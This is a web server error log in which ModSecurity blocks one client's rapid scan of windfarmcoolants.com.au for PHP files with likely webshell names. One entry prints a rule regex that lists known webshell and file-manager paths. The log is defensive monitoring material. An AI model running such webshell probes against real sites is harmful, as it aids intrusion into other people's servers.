[Sat May 16 02:25:37.027924 2026] [:error] [pid 59522:tid 59562] [client 4.228.104.117:3243] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/11.php"] [unique_id "agdlIYKyKAkpeBAoLCZZdQAAA8c"]
[Sat May 16 02:25:37.799890 2026] [:error] [pid 59202:tid 59208] [client 4.228.104.117:4037] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/11.php"] [unique_id "agdlIUORbjeqf1CKQ2KEEwAAAgE"]
[Sat May 16 02:25:38.695035 2026] [:error] [pid 59522:tid 59577] [client 4.228.104.117:12445] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "agdlIoKyKAkpeBAoLCZZdgAAA9Y"]
[Sat May 16 02:25:38.837378 2026] [:error] [pid 59522:tid 59572] [client 4.228.104.117:4070] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/11.php"] [unique_id "agdlIoKyKAkpeBAoLCZZdwAAA9E"]
[Sat May 16 02:25:40.024074 2026] [:error] [pid 9305:tid 9338] [client 4.228.104.117:4737] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/77.php"] [unique_id "agdlJN5FZyBmdCM8GsGlyQAAAEA"]
[Sat May 16 02:25:41.449150 2026] [:error] [pid 9307:tid 9379] [client 4.228.104.117:4260] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/77.php"] [unique_id "agdlJSC43jY1IRzK5VZ0XgAAAM4"]
[Sat May 16 02:25:42.328567 2026] [:error] [pid 59453:tid 59484] [client 4.228.104.117:4775] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/77.php"] [unique_id "agdlJnnXIIDivY9RkF0rYQAAA1U"]
[Sat May 16 02:25:43.521149 2026] [:error] [pid 59453:tid 59483] [client 4.228.104.117:1179] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/77.php"] [unique_id "agdlJ3nXIIDivY9RkF0rYwAAA1Q"]
[Sat May 16 02:25:44.382681 2026] [:error] [pid 59517:tid 59531] [client 4.228.104.117:4272] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/x402.php"] [unique_id "agdlKMWGuSBVizA7n2P37wAAA4Q"]
[Sat May 16 02:25:45.764180 2026] [:error] [pid 30208:tid 30229] [client 4.228.104.117:4862] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/x402.php"] [unique_id "agdlKZmLMCJujX-JTvhV2wAAAJM"]
[Sat May 16 02:25:46.542557 2026] [:error] [pid 59522:tid 59574] [client 4.228.104.117:2001] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/x402.php"] [unique_id "agdlKoKyKAkpeBAoLCZZegAAA9M"]
[Sat May 16 02:25:47.304489 2026] [:error] [pid 59522:tid 59570] [client 4.228.104.117:1275] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/x402.php"] [unique_id "agdlK4KyKAkpeBAoLCZZewAAA88"]
[Sat May 16 02:25:48.116395 2026] [:error] [pid 30208:tid 30210] [client 4.228.104.117:4850] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/themes.php"] [unique_id "agdlLJmLMCJujX-JTvhV4QAAAIA"]
[Sat May 16 02:25:48.911444 2026] [:error] [pid 59522:tid 59557] [client 4.228.104.117:4814] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/themes.php"] [unique_id "agdlLIKyKAkpeBAoLCZZfgAAA8I"]
[Sat May 16 02:25:50.835964 2026] [:error] [pid 30208:tid 30231] [client 4.228.104.117:4847] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/themes.php"] [unique_id "agdlLpmLMCJujX-JTvhV6AAAAJU"]
[Sat May 16 02:25:51.949661 2026] [:error] [pid 59517:tid 59542] [client 4.228.104.117:1163] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/themes.php"] [unique_id "agdlL8WGuSBVizA7n2P38AAAA48"]
[Sat May 16 02:25:52.904744 2026] [:error] [pid 59517:tid 59547] [client 4.228.104.117:4808] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1.php"] [unique_id "agdlMMWGuSBVizA7n2P38QAAA5Q"]
[Sat May 16 02:25:53.675504 2026] [:error] [pid 59522:tid 59564] [client 4.228.104.117:4779] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1.php"] [unique_id "agdlMYKyKAkpeBAoLCZZhwAAA8k"]
[Sat May 16 02:25:54.521153 2026] [:error] [pid 59453:tid 59459] [client 4.228.104.117:4258] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1.php"] [unique_id "agdlMnnXIIDivY9RkF0rbgAAA0A"]
[Sat May 16 02:25:55.427113 2026] [:error] [pid 59522:tid 59562] [client 4.228.104.117:4230] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1.php"] [unique_id "agdlM4KyKAkpeBAoLCZZiQAAA8c"]
[Sat May 16 02:25:56.413841 2026] [:error] [pid 9392:tid 9404] [client 4.228.104.117:2029] [client 4.228.104.117] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/tiny.php"] [unique_id "agdlNNBWJIjH1U9zGfYH0QAAAQo"]
[Sat May 16 02:25:57.752541 2026] [:error] [pid 59522:tid 59572] [client 4.228.104.117:4774] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/w.php"] [unique_id "agdlNYKyKAkpeBAoLCZZiwAAA9E"]
[Sat May 16 02:25:58.635149 2026] [:error] [pid 9392:tid 9394] [client 4.228.104.117:4790] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/w.php"] [unique_id "agdlNtBWJIjH1U9zGfYH0wAAAQA"]
[Sat May 16 02:26:00.179559 2026] [:error] [pid 59522:tid 59558] [client 4.228.104.117:1187] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/w.php"] [unique_id "agdlOIKyKAkpeBAoLCZZkAAAA8M"]
[Sat May 16 02:26:01.255156 2026] [:error] [pid 9392:tid 9416] [client 4.228.104.117:1182] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/w.php"] [unique_id "agdlOdBWJIjH1U9zGfYH1AAAARY"]
[Sat May 16 02:26:03.920490 2026] [:error] [pid 30208:tid 30219] [client 4.228.104.117:1223] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/test1.php"] [unique_id "agdlO5mLMCJujX-JTvhV_QAAAIk"]
[Sat May 16 02:26:07.264175 2026] [:error] [pid 59311:tid 59318] [client 4.228.104.117:1158] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/test1.php"] [unique_id "agdlP7GBV7OkryAk5AOa3wAAAoM"]
[Sat May 16 02:26:08.696426 2026] [:error] [pid 59311:tid 59330] [client 4.228.104.117:4854] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/test1.php"] [unique_id "agdlQLGBV7OkryAk5AOa4AAAAo8"]
[Sat May 16 02:26:11.166993 2026] [:error] [pid 30208:tid 30218] [client 4.228.104.117:4079] File does not exist: /usr/local/apache/htdocs/suspended-page/test1.php
[Sat May 16 02:26:11.552769 2026] [:error] [pid 30208:tid 30230] [client 4.228.104.117:4079] File does not exist: /usr/local/apache/htdocs/suspended-page/tires.php
[Sat May 16 02:26:11.863886 2026] [:error] [pid 30208:tid 30210] [client 4.228.104.117:4079] File does not exist: /usr/local/apache/htdocs/suspended-page/bthil.php
[Sat May 16 02:26:12.237016 2026] [:error] [pid 30208:tid 30233] [client 4.228.104.117:4079] File does not exist: /usr/local/apache/htdocs/suspended-page/d.php
[Sat May 16 02:26:12.609199 2026] [:error] [pid 30208:tid 30223] [client 4.228.104.117:4079] File does not exist: /usr/local/apache/htdocs/suspended-page/cu.php
[Sat May 16 02:26:12.922893 2026] [:error] [pid 30208:tid 30222] [client 4.228.104.117:4079] File does not exist: /usr/local/apache/htdocs/suspended-page/fone1.php
[Sat May 16 02:26:13.258502 2026] [:error] [pid 30208:tid 30219] [client 4.228.104.117:4079] File does not exist: /usr/local/apache/htdocs/suspended-page/sallu.php
[Sat May 16 02:26:13.613442 2026] [:error] [pid 30208:tid 30226] [client 4.228.104.117:4079] File does not exist: /usr/local/apache/htdocs/suspended-page/ng.php
[Sat May 16 02:27:10.508718 2026] [:error] [pid 30208:tid 30219] [client 4.228.104.117:1693] File does not exist: /usr/local/apache/htdocs/suspended-page/xxx.php
[Sat May 16 02:27:10.867295 2026] [:error] [pid 30208:tid 30226] [client 4.228.104.117:1693] File does not exist: /usr/local/apache/htdocs/suspended-page/BDKR28WP.php
[Sat May 16 02:27:11.241760 2026] [:error] [pid 30208:tid 30211] [client 4.228.104.117:1693] File does not exist: /usr/local/apache/htdocs/suspended-page/edit.php
[Sat May 16 02:27:11.624016 2026] [:error] [pid 30208:tid 30222] [client 4.228.104.117:1693] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/pp.php"] [unique_id "agdlf5mLMCJujX-JTvhWTAAAAIw"]
[Sat May 16 02:27:15.959892 2026] [:error] [pid 9305:tid 9350] [client 4.228.104.117:1715] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/pp.php"] [unique_id "agdlg95FZyBmdCM8GsGl5AAAAEw"]
[Sat May 16 02:27:16.929304 2026] [:error] [pid 30272:tid 30293] [client 4.228.104.117:1685] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/pp.php"] [unique_id "agdlhHvc_jSFaQ_7_wcySgAAAZM"]
[Sat May 16 02:27:18.636687 2026] [:error] [pid 9307:tid 9379] [client 4.228.104.117:3882] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/pp.php"] [unique_id "agdlhiC43jY1IRzK5VZ0fwAAAM4"]
[Sat May 16 02:27:19.301853 2026] [:error] [pid 30272:tid 30290] [client 4.228.104.117:1655] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/one.php"] [unique_id "agdlh3vc_jSFaQ_7_wcyUgAAAZA"]
[Sat May 16 02:27:20.093076 2026] [:error] [pid 30208:tid 30231] [client 4.228.104.117:3663] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/one.php"] [unique_id "agdliJmLMCJujX-JTvhWUAAAAJU"]
[Sat May 16 02:27:20.817132 2026] [:error] [pid 59522:tid 59571] [client 4.228.104.117:4816] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/one.php"] [unique_id "agdliIKyKAkpeBAoLCZZ7AAAA9A"]
[Sat May 16 02:27:21.463951 2026] [:error] [pid 59522:tid 59572] [client 4.228.104.117:3856] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/one.php"] [unique_id "agdliYKyKAkpeBAoLCZZ7gAAA9E"]
[Sat May 16 02:27:22.129969 2026] [:error] [pid 30208:tid 30210] [client 4.228.104.117:1611] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/error_log.php"] [unique_id "agdlipmLMCJujX-JTvhWVwAAAIA"]
[Sat May 16 02:27:22.822981 2026] [:error] [pid 59522:tid 59566] [client 4.228.104.117:3459] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/error_log.php"] [unique_id "agdlioKyKAkpeBAoLCZZ8QAAA8s"]
[Sat May 16 02:27:23.476279 2026] [:error] [pid 59522:tid 59565] [client 4.228.104.117:1448] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/error_log.php"] [unique_id "agdli4KyKAkpeBAoLCZZ9AAAA8o"]
[Sat May 16 02:27:24.273834 2026] [:error] [pid 59522:tid 59568] [client 4.228.104.117:1523] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/error_log.php"] [unique_id "agdljIKyKAkpeBAoLCZZ9wAAA80"]
[Sat May 16 02:27:25.039409 2026] [:error] [pid 59311:tid 59339] [client 4.228.104.117:3702] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a7.php"] [unique_id "agdljbGBV7OkryAk5AOa7wAAApg"]
[Sat May 16 02:27:25.670369 2026] [:error] [pid 59311:tid 59334] [client 4.228.104.117:1460] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a7.php"] [unique_id "agdljbGBV7OkryAk5AOa8wAAApM"]
[Sat May 16 02:27:26.410217 2026] [:error] [pid 9392:tid 9406] [client 4.228.104.117:4766] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a7.php"] [unique_id "agdljtBWJIjH1U9zGfYH6QAAAQw"]
[Sat May 16 02:27:27.080826 2026] [:error] [pid 59453:tid 59473] [client 4.228.104.117:1674] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a7.php"] [unique_id "agdlj3nXIIDivY9RkF0rlQAAA0s"]
[Sat May 16 02:27:27.734978 2026] [:error] [pid 59453:tid 59463] [client 4.228.104.117:1435] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/roksad1.php"] [unique_id "agdlj3nXIIDivY9RkF0rlgAAA0Q"]
[Sat May 16 02:27:28.445006 2026] [:error] [pid 59453:tid 59475] [client 4.228.104.117:3655] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/roksad1.php"] [unique_id "agdlkHnXIIDivY9RkF0rlwAAA00"]
[Sat May 16 02:27:29.147783 2026] [:error] [pid 59522:tid 59572] [client 4.228.104.117:1606] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/roksad1.php"] [unique_id "agdlkYKyKAkpeBAoLCZZ-gAAA9E"]
[Sat May 16 02:27:29.809784 2026] [:error] [pid 59202:tid 59223] [client 4.228.104.117:1445] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/roksad1.php"] [unique_id "agdlkUORbjeqf1CKQ2KELAAAAg0"]
[Sat May 16 02:27:30.454750 2026] [:error] [pid 59453:tid 59487] [client 4.228.104.117:1673] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/axe.php"] [unique_id "agdlknnXIIDivY9RkF0rmQAAA1g"]
[Sat May 16 02:27:31.094458 2026] [:error] [pid 59453:tid 59481] [client 4.228.104.117:4853] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/axe.php"] [unique_id "agdlk3nXIIDivY9RkF0rmgAAA1I"]
[Sat May 16 02:27:31.853881 2026] [:error] [pid 59522:tid 59570] [client 4.228.104.117:4783] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/axe.php"] [unique_id "agdlk4KyKAkpeBAoLCZZ-wAAA88"]
[Sat May 16 02:27:32.514893 2026] [:error] [pid 59522:tid 59566] [client 4.228.104.117:4748] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/axe.php"] [unique_id "agdllIKyKAkpeBAoLCZZ_QAAA8s"]
